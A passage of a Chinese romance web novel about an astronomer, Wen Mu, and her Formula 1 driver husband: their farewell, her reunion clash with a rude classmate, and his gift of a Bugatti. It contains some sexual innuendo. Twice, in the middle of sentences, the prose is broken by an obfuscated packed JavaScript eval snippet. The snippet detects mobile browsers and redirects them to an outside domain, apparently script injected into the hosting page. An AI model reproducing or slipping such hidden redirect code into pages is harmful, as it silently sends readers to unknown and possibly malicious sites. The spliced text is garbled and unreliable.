宋星燃的眼睛亮了起来,像是没想到她会答应,又不敢相信似的追问:“真的?” “真的。”她点头。 欧洲那么大,她“有空”的范围可以很广。 宋星燃却像看穿她的想法,犹豫着问:“那,你能来机场送我吗?” “几点?” “下午三点。” 温木在心里快速过了一遍日程:“抱歉,我下午有个会。” 男人的表情肉眼可见地黯淡下来。 “很重要吗?” “很重要。” “比我重要吗?” 这个问题来得突然,语气里没有往日的玩笑,而是一种近乎执拗的认真。 温木下意识想逃避这个问题,却又觉得这样对他不公平。 “这是两回事,”她最终说道。 “工作重要,你也重要。” 他勾唇笑了笑:“是吗?” 温木没有回答。 不知怎么,她突然不想顺着他的话哄他了。那些轻佻的玩笑此刻显得如此不合时宜,她不想用谎言来安抚他,即使那会让气氛轻松些。 “我随口一问,”男人双手插兜,恢复了那副欠揍的表情,“温老师还认真了?” 温木松了口气,这种熟悉的相处模式反而让她自在。 “是你先认真的。”她忍不住辩解一句。 宋星燃凑近,手指绕着她的一缕头发。 “我不在这么久,温老师会寂寞吗?” 温木淡定地回答:“其实没跟你结婚之前,我也不怎么寂寞的。” “是吗?”宋星燃眯起眼睛,“那衣柜第三层抽屉里的那个粉色玩具,是温老师用来按摩的吗?” 温木猛地抬头。 那是她一年前买的,一共才用了两三次就收起来了。他怎么发现的?这个家是不是没有他没翻过的地方? 万恶的哈士奇! 她很快镇定下来:“所以它现在不是要派上用场了吗?” 宋星燃:“你只能用它。” “什么?”她故意反问。 他俯身逼近,近到她能数清他的睫毛,一字一句:“我说,你只能用它,不许用别的男人。” 温木忍不住笑:“我要是用了怎么办?” “我会连夜飞回来,”他的声音低得近乎危险,“让你体验一下房门都出不了的感觉。” “我说到做到。” 温木相信他干得出来。 她叹了口气,伸手捧住他的脸。男人皮肤温热,一夜未眠,下巴长出了一层淡淡的胡茬,蹭着她的掌心。 “你不相信我吗?”她轻声问。 宋星燃哼了一声:“你说呢。” “你在床上勾我的时候可是很熟练啊,看起来经验丰富得很。” 温木看着他近在咫尺的脸,突然踮起脚尖。 一瞬间,唇角相触。 明明是很轻的力道,却像是连带着心脏都被重重碾过一般。 男人僵在原地,连呼吸都暂时忘记了。 “我保证,”她退开一点,看着他的眼睛说,“不找别的男人。只找你。” “你等我,嗯?” 下一秒,她猛地被拉进一个结实的怀抱。宋星燃的手臂紧紧箍住她的腰,力道大得几乎让她喘不过气,眼镜挤在鼓鼓囊囊的胸肌前。男人的心跳透过胸膛传来,又快又重。 他的声音闷在她的发间:“敢骗我,我要你好看。” 温木忍不住弯起嘴角,这个威胁真是够他风格的。 “不必了,你不觉得,我已经很好看了吗?” 宋星燃松开她,仔细地打量她,随即轻“嗯”一声,扯着她的手腕,沿着山路往下走:“我送你回家。” * 温木将会议资料整齐地码放在桌面上,指尖轻轻划过纸页边缘。手机屏幕亮起。 是他到机场了吗? 拿起手机,锁屏上显示着三条未读消息。 Lgnis:【不许乱跑,不许喝酒,不许不回我消息】 Lgnis:【照顾好自己】 Lgnis:【准备登机了】 温木失笑,这小子还管上她了。 Jupiter:【收到。注意安全。】 Lgnis:【汽油送去爸妈家了】 Jupiter:【收到。】 Lgnis:【我是不是说过不要这样和你老公讲话。】 温木挑眉。这人登机前还要找茬? Jupiter:【那我该怎么回复?】 Lgnis:【你应该说,好的老公,路上注意安全哦,我会想你的】 Jupiter:【……】 Lgnis:【干嘛,你两个月都见不到我了,就不能满足我一个小小的心愿吗?】 Lgnis:【还是说,温老师更喜欢我用别的方式让你开口?】 温木的耳尖微微发热。这人隔着屏幕都能让她想起他贴在耳边说话时的热气。 她叹了口气,在对话框里输入“好的老公”,打到一半又觉得太过羞耻,迅速撤回,转而按下语音键。 “老公,注意安全。” 她几乎是掐着嗓子说出的这句话。 刚发送出去,背后突然扑来一个人影。 “好甜蜜哦!” 温木吓得差点把手机扔出去,转头看见于茉笑得前仰后合。 “茉茉,你吓死我了。” “真是稀罕啊,”于茉凑近,眼睛亮晶晶的,“温大博士居然在会议开始前跟老公调情?” 她夸张地左右张望,“你是我认识的那个工作狂吗?” 温木淡定地整理资料:“只是哄弟弟而已,没那么多弯弯绕。” 于茉意味深长地“哼”了一声:“我看啊,你迟早有一天把自己哄进去。” “晚上去喝酒?”温木转移话题。 “你不是不能喝?” “反正他不在,”温木无所谓地耸肩,“我喝多了也不会怎样。” 于茉坏笑着凑近:“也就是说,你那天晚上喝多了之后,他把你''怎样''了?” 温木的脑海中浮现出那晚的画面。 宋星燃像只不知餍足的狼犬,在她身上到处留下痕迹,甚至连最私密的地方都不放过。 她去推他的脑袋,奈何力气不够,只能任由他胡来。最后整个人软在他怀里,一点点从他口中汲水。 “阿木,你脸红了!”于茉像发现新大陆般惊呼。 “热的。”温木低头去看笔记,“开会了。” 于茉哈哈大笑,引得周围同事纷纷侧目。 会议结束后,两人来到学校附近的一家清吧。 昏黄的灯光透过玻璃酒瓶折射出琥珀色的光斑,爵士乐若有若无地在背景中流淌。深棕色的真皮沙发柔软舒适,墙上挂着几幅复古的黑白摄影作品。 “一杯热牛奶,谢谢。”温木对服务员说。 于茉晃着手中的威士忌,冰块碰撞杯壁发出清脆的声响:“说得那么信誓旦旦,结果来这喝牛奶?” “被你说怕了还不行吗?”温木抿了一口牛奶,唇边沾上一圈白沫。 于茉坏笑:“我看,你是被你家小狼狗搞怕了。” 温木白了她一眼:“他只是精力过于旺盛。” 换言之,折腾过后就好了。 “年轻嘛,见到你把持不住很正常。” 于茉可以说是第二了解温木身材的人,长腿纤腰,她见了都流口水。 “不过说真的,”她话锋一转,“你们这样下去,那位宋三少会不会喜欢上你啊?” “不会。” 温木斩钉截铁地否定。 “这么肯定?” “我们的婚姻本来就是交易。”温木的声音平静得像在讨论天气,“他父母需要一个儿媳妇管住他,我需要宋家的助力,就这么简单。” “如果他真的是那种没谈过恋爱的小纯情,现在对我大概率只是一时的兴趣。保不准以后哪天突然反骨回归,要去追求真爱了呢。” “那你呢?你会不会喜欢上他?” “更不可能。” 温木回答得太快,听上去反而显得可疑。 “你也知道,我本来就不喜欢年纪小的。” 于茉挑眉:“还没忘呢。” 温木的手指沿着玻璃杯沿慢慢摩挲:“什么人值得我记很久吗?” “不过是因为他看清了一类人罢了。” 于茉:“但你还是选了宋星燃。” 温木:“相比之下比较合适而已。这不能代表他在我这是特别的。” 于茉:“可你们相处得还不错?” 温木思考了一下:“床上,还不错。我也确实挺喜欢他的身体。” “床下,也还行。” “顶多算是比较合拍的P友,一起回家吃饭的那种。” “P友?”于茉夸张地瞪大眼睛,“你们可是领了证的合法夫妻。” “那又怎样?”温木耸肩,“婚姻不一定需要爱情。我们相处愉快,各取所需,这就够了。” “你不也一样,你金屋藏娇的那个灰小子,你会跟他结婚吗?” 于茉笑:“目前没考虑过。” “阿木,你以前提到不感兴趣的男人,都是用''学术垃圾''形容的。” 温木一怔。 确实,她对宋星燃的评价已经比最初温和多了。 “我只是习惯了而已。”她最终说道,“而且,他大部分时候挺听话。” “听话?”于茉差点喷出酒来,“你知不知道他上学的时候开着改装车在校园里轰油门?” “他上过大学吗?”温木发出疑问。 “好吧。”她纠正:“至少在床下挺听话。” “哦?”于茉来了兴趣,“我比较好奇他不听话的部分。” “没什么好说的。”温木低头喝牛奶,掩饰脸上的热度。 “说真的,”于茉突然正色,“你们这样下去也不是办法。万一哪天他遇到真正喜欢的人呢?” 温木的手指微微收紧:“那就离婚啊。” “你舍得?” “有什么舍不得的。”温木的声音轻了几分,“如果他不好意思开口,我可以主动提。” 于茉盯着她看了许久,突然笑了:“阿木,你知道你现在像什么吗?” “什么?” “像只假装不在乎的猫,”于茉晃着酒杯,“明明已经被驯服了,还要装出一副高冷样子。” 温木皱眉:“你之前还说我是水豚来着。” 于茉失笑,她这个朋友有时候关注点很清奇。 “你刚才发语音叫他''老公''的时候,语气可不像是在哄弟弟。”她一针见血,“而且,你什么时候会在会议前看手机了?” 温木一时哑然。 她确实变了,但这不代表什么。只是习惯而已,就像习惯每天早上咖啡的味道,习惯天文台里特定角度的星空。 “我只是,适应了婚姻生活。”她最终说道。 于茉叹了口气:“阿木,你有没有想过,也许你们的关系已经比你认为的要深了?” 还要,再深吗? 温木果断摇头:“我们之间不可能有爱情。他太幼稚,我太理性。就像……” 她寻找着比喻,“汽油和牛奶,永远混不到一起。” “但可以放在同一个冰箱里。”于茉调皮地眨眨眼。 温木无奈地笑了:“你这什么烂比喻。” “总之,”于茉举起酒杯,“祝你的小狼狗在欧洲比赛顺利。” “不过,你要独守空房到啥时候?” 温木确实没问过宋星燃去欧洲的具体行程。 但很快,她又为自己的反应感到可笑。 “不知道,我没问。” “不回来也好,我一个人做研究,清净。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289505|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “真的?”于茉挑眉。 温木没有回答,只是低头喝完了杯中的牛奶。 白色的液体在灯光下泛着柔和的光泽,看不见底。 “对了,”于茉突然想起什么,“下周同学聚会,你要带家属吗?” 温木摇头:“他不在。我带谁?” “可惜了,”于茉坏笑,“我还想看看那些当年追过你的学长们见到你家小狼狗时的表情呢。” 温木想象了一下那个场景,莫名有些愉悦。 宋星燃确实很擅长宣示主权,至少,能帮她解决很多不必要的麻烦。 “下次吧。”她说,然后被自己的话吓了一跳。 她居然在期待“下次”。 于茉敏锐地捕捉到了这一点,但她体贴地没有戳破,只是举起酒杯:“为下次干杯。” 温木端起牛奶杯轻轻碰了一下,玻璃相撞发出清脆的声响。 在这个安静的夜晚,在爵士乐和威士忌的香气中,她第一次允许自己去想:也许这段婚姻,比她愿意承认的,要重要那么一点点。 * 飞机降落在布鲁塞尔国际机场时,宋星燃拿出手机。 屏幕亮起,锁屏是温木在天文台工作的侧影。她披着他的牛仔夹克,金丝眼镜后的眼睛专注地盯着观测仪器,浑然不觉自己已经落入某个人镜头中。 他点开微信,手指悬在对话框上方,突然意识到现在宁川是凌晨。 温木肯定睡了。 前段时间累着她了,算了,让她好好睡一觉吧。 “想老婆了?”Mark拖着行李走过来,脸上挂着促狭的笑。 宋星燃把手机塞回口袋:“没有。” Mark:“上次在训练场远远看了一眼,很漂亮,跟你也挺配的。” “什么叫挺配的?”宋星燃挑眉。 Mark大笑,拍了拍他肩膀:“行行行,不是挺配,是绝配。” 车队派来的黑色奔驰早已等在出口。 宋星燃一上车就拨通了车队经理的电话,用流利的法语询问最新的赛车调校数据。窗外比利时夜幕的景色飞速后退,脑海中已经开始模拟即将进行的训练项目。 SilverArrow车队总部坐落在布鲁塞尔郊区,占地近五万平方米的现代化建筑群在晨光中闪闪发光。 作为F1围场中最年轻的车队,SilverArrow却在短短五年内跻身中游集团,而这很大程度上要归功于宋星燃的加入。 “宋!”车队技术总监Jean老远就张开双臂,“欢迎回来!” 宋星燃与他击掌拥抱:“车准备好了吗?” “就等你了。”Jean眼中闪着兴奋的光,“新升级的ERS系统会让你大吃一惊。” 穿过长长的走廊,墙上挂满了车队历年来的高光时刻照片,其中近半数都有宋星燃的身影。19岁加入车队,20岁首登领奖台,21岁在摩纳哥站雨中奇迹般夺冠…… 直到今年比利时站前的那场事故。 “Alex在办公室等你。”Jean低声说,“他很担心你的状态。” 宋星燃推开门时,AlexZhou正站在落地窗前。这位中英混血的车队老板转过身,锐利的目光上下扫视宋星燃:“看起来恢复得不错。” “本来就不严重。”宋星燃拉开椅子坐下。 “左腿受伤,肋骨骨折,轻微脑震荡,这叫不严重?”Alex冷哼一声,“你知道医疗团队花了多大功夫才让你通过FIA的体能测试吗?” 宋星燃耸耸肩:“值得。” 不要命的疯子。 但是他最欣赏疯子。 Alex叹了口气,递给他一份文件:“错过四站比赛,你现在积分榜排名第九。还剩七站,想进前三,压力很大。” “不会有问题。”宋星燃打断他,眼神锐利如刀,“只要给我一辆够快的车。” 办公室陷入短暂的沉默。 Alex突然笑了:“你还是老样子。” 他走到书架前,取下一个精致的赛车模型,“记得这个吗?” 宋星燃接过模型,那是他职业生涯第一辆F1赛车,1:18的精密复制品。 “五年前你带着这个模型来找我,说它能帮SilverArrow赢得比赛。”Alex回忆道,“我当时觉得你疯了,一个刚从F2升上来的毛头小子。” “但它确实赢了。”宋星燃轻抚模型,“比利时站,雨战。” Alex点头:“所以这次我也会相信你。” 他郑重地说,“车队会全力支持你回归。但宋,你必须保证百分百的状态。” “150%。”宋星燃站起身,嘴角勾起熟悉的自信笑容,“我不会让那帮小子轻松太久。” 离开总部已是傍晚。 宋星燃回到下榻的酒店,刚脱下外套,手机震动起来。 是沈岁发来的的微信。 妈:【儿子,到了吗?】 Lgnis:【到了,您这么晚还没睡?】 妈:【小木带着汽油回家了】 那女人居然回家了。 他特意把汽油送到温木父母家,就是想让她回去住。星河湾的别墅太大,他不在,怕她不安全。没想到这女人直接把狗带去了他爸妈家。 嘴角不自觉地扬起,但很快又耷拉下来。 Lgnis:【她怎么这么晚才去?又加班了?】 妈:【不是,小木跟朋友去酒吧玩了,所以晚了点】 男人的表情瞬间阴沉。 好啊,又骗他。 明明说好在家安分一点,结果他一走就去泡酒吧。 她不知道自己喝酒后是什么样子吗? 记忆不受控制地浮现。 那晚温木醉眼朦胧地撑在他身上,不过一会儿就说没力气了。他只能扶着她的腰,好让她不会因为重心不稳倒下去。 她俯身时发丝垂落,带着威士忌香气的唇贴在他耳边:“宋星燃,你心跳好快。” 谁知道后来力气没控制好,掐得狠了,在腰窝留下两道红痕,好些天才消。 “艹。” 宋星燃低骂一声,抓起换洗衣物径直走进浴室。 四十分钟后,他裸着上身出来,面色微红。 手机屏幕亮起。 老婆发来三条消息。 宋星燃点开对话框,随即愣在原地。 昏暗的床头灯光下,女人仰躺在他的床上,只穿着一件他的黑色T恤。衣领宽大,露出一侧雪白的肩膀。她没戴眼镜,黑发散乱铺在枕头上,一只手举着手机自拍,另一只手揪着衣领。 照片只拍到锁骨以上,但足够回忆起那件T恤下她身体的每一寸曲线。 老婆:【睡不着。】 老婆:【床上都是你的味道。】 28. For the stars 温木发完消息,把手机放在枕边,翻了个身。 床单上确实有宋星燃的味道,那种混合了雪松与淡淡薄荷的气息,是张扬又清爽的感觉。 手机屏幕暗了又亮,亮了又暗。 五分钟过去了,对话框依然停留在她最后那条消息上。 “睡着了?”温木轻声自语,“现在布鲁塞尔还是晚上呀。” 难道是训练太累了? 她想起宋星燃离开时眼下淡淡的青色。有一天她听见医生给他打电话,明明说过他恢复得很好,但骨折过的肋骨真的能承受F1赛车那恐怖的G力吗? 正当她犹豫要不要再发条消息时,手机突然震动起来。 Lgnis:【为什么去酒吧?】 温木眨了眨眼。 这个回复,不是她预想中的任何一种。 Jupiter:【我没喝酒,喝的牛奶。】 Lgnis:【没有骗我?】 温木几乎能想象宋星燃此刻的表情。 眉头微蹙,嘴角绷紧,眼睛此刻一定锐利得像要看穿屏幕。 Jupiter:【没有,不信你问妈。】 Lgnis:【和谁去的?】 Jupiter:【茉茉。】 Lgnis:【几点到家的?】 Jupiter:【十一点四十。】 Lgnis:【汽油听话吗?】 温木忍不住笑了。 他搁这儿拐弯抹角地查岗呢,年纪不大,倒是挺爱操心。 Jupiter:【很乖,现在趴在我脚边睡觉呢。】 又是一阵漫长的“对方正在输入”。 Lgnis:【想我没?】 果然,这才是他最想问的问题吧。 温木把脸埋进枕头里,深吸一口气。 枕头上全是他的味道。 Jupiter:【一点点。】 Lgnis:【那我也是一点点】 切,谁要他想了。 Jupiter:【睡了。】 她故意结束话题。 Lgnis:【晚安】 温木盯着这两个字看了许久,突然又收到一条新消息。 Lgnis:【记得把被子盖好,别又踢到床下去】 温木的脸一下子热了起来。 他怎么连这个都记得?上次她感冒,就是因为半夜把被子踢到了地上。 Jupiter:【知道了。】 Jupiter:【你也是。】 放下手机,温木关掉台灯。黑暗中,汽油在床尾发出轻微的呼噜声,窗外的月光透过纱帘洒在地板上。 七千公里外,布鲁塞尔的夜色应该也是如此吧? 她闭上眼睛,恍惚间仿佛听到男人在她耳边低语:“晚安,温老师。” * 宋星燃离开的第十天,温木的生活逐渐形成了新的节奏。 早晨八点准时到校进实验室,中午回父母家吃饭,傍晚则回到宋家别墅顺便遛狗。汽油似乎已经适应了新环境,每晚都会蜷在她脚边睡觉,像个毛茸茸的暖水袋。 手机里,宋星燃的消息频率明显降低,偶尔发来的也总是在布鲁塞尔凌晨两三点。内容千篇一律:“吃饭了吗”、“汽油听话吗”、“别熬夜”。 温木猜测他训练很忙,便也没多问,只是每晚睡前会多看一眼木星的观测数据。 同学聚会这天,于茉的保时捷偏偏在出发前抛了锚。 “我就说该早点去保养!”她狠狠拍了下方向盘,“这下好了,赶不上聚会了。” 温木看了眼手表,离约定的七点只剩二十分钟:“叫车?” “这个点?等车来了黄花菜都凉了。”于茉眼珠一转,突然想起什么,“对了,徐樾声不是有辆帕萨特吗?征用一下。” 温木想起那辆破破旧旧的车,不禁皱眉:“你确定要借他的车?” 徐樾声其实也不缺钱,他只是懒得换。据说这辆帕萨特还是他爸爸创业时买的二手货,他倒不嫌弃,吭哧吭哧开了好几年。 这是这车吧,开去今天的同学聚会,可能就会有那么点“特别”。 她们那一届天文系有不少富家子弟,自然而然有个圈子。 有人的地方就会有比较,温木实在是烦于这些口舌之争。 “总比迟到强。”于茉已经拨通了电话, 二十分钟后,她们开着徐樾声那辆灰扑扑的帕萨特驶向聚会地点。 温木坐在副驾驶,摩挲着左手无名指上的婚戒。 自从那次跟宋星燃为婚戒吵架之后,她就一直放在星河湾的别墅里。 也不知怎的,今天去学校前,特地去了一趟星河湾,从首饰盒里拿出来戴上了。 反正好看,戴着就戴着吧。 “紧张?”于茉瞥了她一眼。 温木摇头,摇下一半车窗让夜风吹散车内沉闷的空气:“只是不习惯这种场合。” “放心,有我在。”于茉眨眨眼,“再说了,你现在可是宋太太,谁敢惹你?” 温木没有接话。 她从不认为“宋太太”这个头衔有什么特别,就像她不认为那枚价值不菲的婚戒比她的天文望远镜更珍贵一样。 金悦酒店的VIP包厢比想象中热闹。推开门时,水晶吊灯的光芒倾泻而下,二十几位同学已经围坐在长桌旁。 温木和于茉的出现让嘈杂的包厢安静了一瞬。 即使只穿着简单的白衬衫和黑色西装裤,温木清冷的气质依然如同当年那个天文系女神,而于茉的红裙则像一团火,照亮了整个房间。 “哟,我们的双花终于来了!”班长李红岩站起来招呼,他比大学时胖了一圈,笑起来眼睛眯成一条缝,“还以为你们不来了呢。” 于茉笑着解释车子抛锚的事,拉着温木在靠近门口的座位坐下。 温木注意到有几道目光一直停留在她的左手,确切地说,是那枚戒指上。 “温木,听说你结婚了?”对面的陈敏突然问道,她也是系里当年的学霸,现在在某研究所工作。 温木点头,端起茶杯抿了一口:“嗯,快两个月了。” “对方是谁啊?怎么不带来给大家看看?”陈敏的语气带着刻意的关心,眼神却不住地往她戒指上瞟。 于茉正要开口,一个低沉的男声从长桌另一端插了进来:“宋家三少爷,宋星燃。” 所有人的目光转向声音来源——张晟,当年追了温木三年未果的学长,现在某投行VP。 他晃着红酒杯,眼神轻蔑地扫过温木:“我刚才出门,你们今天,是开帕萨特过来的?” “那车也太破了,宋三少就让太太开这种车?” 包厢里的空气瞬间凝固。几个女同学交换着眼色,有人小声嘀咕“怎么又来了”。 张晟的人品可是出了名的烂,被他缠上真是倒了大霉。 于茉“啪”地放下筷子,温木却轻轻按住她的手。 “车只是代步工具。”温木的声音平静如水,指尖在茶杯边缘轻轻划过,“就像知识只是工具一样,张学长在投行工作,应该很明白这个道理。” 张晟脸色一僵,他显然没想到温木会这么直接:“我只是好奇,堂堂宋家少奶奶,怎么沦落到这个地步?” “是不是。宋三少看不上你?” “我更好奇,”温木放下茶杯,眼睛直视对方,“张学长为什么对我的私生活这么感兴趣?难道……” 她故意停顿,“还在为当年的事耿耿于怀?” 几个同学忍不住笑出声。 林晋烨也出言维护:“张晟,这么多年了,你还是死性不改。” 张晟的脸涨得通红,他猛地灌了一口酒:“温木,你别太得意。谁不知道宋星燃就是个纨绔子弟,整天就知道玩车花钱泡妞。我打赌,不超过半年,你就会被踢出宋家。” 温木的眼神骤然冷却,她慢慢摘下眼镜擦了擦。 所有人都安静下来——熟悉她的人都知道,这是温木发怒的前兆。 “张晟,我建议你说话前先查查资料。”她的声音很轻,却像冰刀一样锋利,“我丈夫是SilverArrow车队的正式车手,FIA认证的职业赛车手,不是什么纨绔子弟。去年比利时站他拿到冠军的时候,你口中的''玩车''正承受着5个G的离心力。” 包厢里一片寂静。 李岩尴尬地咳嗽两声想打圆场,却被张晟打断。 “赛车手?”张晟嗤笑,酒精让他更加肆无忌惮,“不就是个开快车的吗?有什么了不起,啊?” 他突然痛呼一声。于茉不知何时走到他身后,手里的叉子“不小心”扎在了他肩膀上。 “抱歉抱歉,”于茉毫无诚意地道歉,“手滑了。” 手机铃声响起,打破了对峙的氛围。 温木去看,屏幕上赫然浮着两个大字“老公”。 他什么时候改的备注? 她明明记得,自己存他的号码时,留的备注是“司机先生”。 温木皱眉。 布鲁塞尔现在应该是中午,宋星燃训练完不休息吗? 她挂断电话,可对方立刻又打了过来。 “不接吗?”张晟阴阳怪气地说,揉着被扎疼的肩膀,“该不会是查岗吧?豪门太太也不好当啊。” 林晋烨厉声呵斥:“张晟,你够了!” 张晟狞笑着:“哟,看来你还挺抢手啊。都人老珠黄了,还去耽误人家二十几岁的小年轻。温木,你丢不丢人?” 温木抬手示意林晋烨冷静,按下接听键。 “喂。”声音不自觉地柔和了几分。 “老婆,你在哪?” 宋星燃的声音透过话筒传来,带着明显的疲惫和一丝撒娇的意味,背景音嘈杂,似乎刚结束训练。 温木的耳尖微微发热,她能感觉到全桌人都在竖着耳朵听。 “同学聚会。” “哦。”电话那头传来窸窸窣窣的声音,像是在翻身。 “在哪个酒店?” “金悦。” “场子这么小!” 众人闻言,默默看向张晟。他自认为如今算是人中龙凤,同学聚会时便抢着安排场地。听到这话,脸上一阵青一阵白。 温木轻声解释:“还好,人不多。” “哦。” “开心吗?” 温木看了一眼满脸讥讽的张晟:“一般。” “所以。” “是有人惹你不开心了?” 男人的声音沉下来,背景音也安静了,像是走到了僻静处。 温木轻轻转着无名指上的戒指:“没人。” 她顿了顿:“那东西不算人。” 包厢里安静得能听见针掉在地上的声音。 张晟的脸色难看到极点,不少同学捂着嘴偷笑。 电话那头传来男人的低笑,带着危险的意味:“给你准备了礼物。” “礼物?”温木疑惑,以为他在恶作剧。 “你别闹,好好休息。” “我没闹。我都准备好了。等会儿有人送去。不许拒绝啊。”宋星燃像个任性的孩子,声音却温柔得不可思议。 温木:“我怎么搞不懂你在干什么。” 男人低笑:“你把免提打开,就知道我要干什么了。” 温木无奈,打开免提,把手机放回桌上。然后发现,所有人都在盯着她看,表情各异——有好奇的,有羡慕的,当然也有张晟那张铁青的脸。 “怎么,”她平静地问,重新戴上眼镜,“聚会继续?” 张晟刚想说什么,包厢门突然被礼貌地敲响。酒店经理领着两个西装笔挺的男人走了进来,领头的约莫四十岁,举手投足间透着精英气质,径直走到温木身边微微躬身。 温木礼貌询问:“您是?” “我是布加迪汽车亚洲区客户总监周明远,”男人递上一张名片,“宋先生一周前在我们这里订购了一辆ChironSuperSport,特意嘱咐今天送到您手中。” 他从助理手中接过一个黑色真皮文件袋:“这是车辆登记文件和钥匙,车已经停在酒店地库了。” 整个包厢鸦雀无声。 张晟的酒杯“啪”地掉在地上,红酒洒了一地。 温木没有立即接过文件袋,只是向电话那头问道:“你什么时候安排的?” 这家伙,瞒得真好,她一点儿都不知道。 “上周三,视频连线选配的。”宋星燃的语气听起来满不在乎。 “免提开了吗?” “嗯。” 男人清了清嗓子,语气冷峻:“我太太开什么车,轮不到别人指手画脚。她就是开坦克上街我都给她清道。谁给你们的胆子,对我太太评头论足?” “这是我第一次警告,也是最后一次。” “横竖大家都是一个圈子的人,随便打听打听,就知道我的混蛋事儿。如果让我知道,谁惹我太太不高兴了,我保证——” “一天之内,他全家都会从宁川消失。” 张晟的脸色瞬间惨白。 “不好意思啊,我这人文化水平不高,说话粗,大家听懂了就成。” 于茉在一旁撇嘴:这位宋三少再怎么样也是被宁大录取的学生啊,真是装。 不过,装得好啊! “老婆。”宋星燃的声音又柔下来,“我说完了,你可以把免提关了。” 温木接过钥匙:“说完了??” “还没。” “老婆,这车颜色我挑了好久,跟你的眼睛很配。” “还有吗?” “还有。” “那什么。” “我想你了。” 包厢里响起一阵低低的惊叹声。 张晟的脸色由青转白,活像见了鬼。 温木压住嘴角:“知道了。” 宋星燃轻笑:“那我挂了啊,还要训练。” “嗯,注意安全。” “老婆再见。” 电话挂断,只留下吃瓜众人面面相觑。 温木从周明远手里接过文件袋:“谢谢,辛苦你们跑一趟。” “您客气。”周明远微微颔首,“后续有任何需要,随时联系我。” 两人离开,温木也不想再多留,站起身,对于茉使了个眼色:“茉茉,我们走吧。” “好啊好啊,我都等不及看车了!”于茉立刻跳起来。 张晟突然拦住她们:“等等!” 他的声音有些发抖,“这,这不可能!宋星燃怎么可能……” 怎么可能喜欢一个老女人? 温木平静地看着他:“张晟,在宇宙中,有些星星看起来很近,实际上相隔光年。” 她轻轻晃了晃文件袋。 “就像你和我们的差距一样。” 几乎就是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298528|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们出门的瞬间,包厢里炸开了锅。 林晋烨看着那扇合上的门,表情凝重。 刚走出酒店大门,于茉就忍不住尖叫起来:“我靠!你家少爷太会了吧!” 温木嘴角微扬:“让我猜猜,是谁给他通风报信的?” 于茉装傻:“啊?我不知道诶。” “可是,他怎么会有你微信呢?”温木疑惑。 于茉僵住。 不行!绝对不能让温木发现她和宋星燃在进行“服装买卖”。 她突然指着电梯,“快!我们去地库!” 地库B2层,一辆深蓝色的布加迪Chiron静静地停在那里。车身线条如同宇宙中最完美的曲线,在灯光下泛着星辰般的光泽。 这不是一辆车,而是一件艺术品。 温木站在原地,心跳突然加速。 她从未对物质有过太多欲望,但此刻,这辆仿佛来自未来的机器却让她感到一阵难以言喻的喜悦。 “太帅了!”于茉喃喃道,小心翼翼地摸了摸车门,“这得多少钱啊。” 温木打开文件袋扫了一眼购置合同,数字后面的零让她挑了挑眉。 “对他来说,不算什么。” “哟,开始得意了?”于茉揶揄道,“刚才谁说''车只是代步工具''的?” 温木没回答,只是坐进驾驶位,将左手放在方向盘上拍了一张照片。 发送成功。 Jupiter:【我很喜欢,谢谢。】 几乎是立刻,手机震动起来: Lgnis:【喜欢就好,不过老婆,你谢错地方了】 Lgnis:【我想要的谢礼...】 Lgnis:【等我回家,亲自来取?】 Lgnis:【记得穿那件黑色T恤,我的】 Lgnis:【还有,不准穿内衣】 温木立刻熄屏。 这家伙当初还说怎么把她喂饱。 明明他才是那个大馋小子! “他说什么了?”于茉好奇地凑过来。 温木把手机藏到身后:“没什么,系好安全带。” 引擎咆哮,布加迪如同一颗蓝色流星,驶入夜色之中。 * 宋星燃按下发送键,嘴角不自觉地上扬。他能想象温木看到那条消息时微红的脸颊和故作镇定的样子。 屏幕上的照片里,女人纤细的手指搭在方向盘上,那枚他亲自挑选的戒指在灯光下闪烁着细碎的光芒。 她戴着他们的婚戒去了同学聚会。 这个事实让宋星燃莫名愉悦。 “笑得这么荡漾,看来是哄好了?”Alex的声音从身后传来。 宋星燃迅速锁屏,转身时已经恢复了平常那副漫不经心的表情:“偷看别人手机可不是好习惯。” “需要偷看吗?”Alex靠在车库门边,手里转着一枚赛车零件,“你刚才那表情,就像个情窦初开的毛小子。” 宋星燃把手机塞进赛车服口袋,走向自己的座驾:“训练要开始了。” SilverArrow车队的模拟训练场位于布鲁塞尔郊区,占地近两万平方米的场地内,各种复杂弯道和直道组合成一条高难度测试赛道。今天他们要测试新升级的ERS系统在极限状态下的表现。 宋星燃戴上头盔,感受着碳纤维材质贴合头部的紧绷感。坐进驾驶舱的瞬间,世界安静下来。 方向盘上的按键触感,踏板的角度,甚至是座椅对腰部的支撑——每一个细节他都检查了三遍以上。 这是他的习惯,也是他能活到现在并且成为常胜将军的原因。 “系统检查完毕。”机里传来工程师的声音。 “宋,准备好了吗?” 男人深吸一口气:“随时可以。” 引擎轰鸣声如同野兽苏醒的咆哮,瞬间填满了整个驾驶舱。他轻踩油门,赛车如同离弦之箭般冲出起点。第一个弯道是90度的直角弯,他在入弯前最后一秒才踩下刹车,方向盘精准地转过预定角度,车身以完美的轨迹切过弯心。 “ERS数据正常。”工程师报告,“准备进入S弯组合。” 宋星燃没有回答,全部注意力都集中在眼前的赛道上。S弯组合是这条赛道最难的部分,三个连续的高速弯道需要车手在极短时间内完成重心转移。 他的双手如同精密仪器,每一个微调都恰到好处。汗水顺着额头滑下,但他连眨眼的速度都控制在最小幅度。 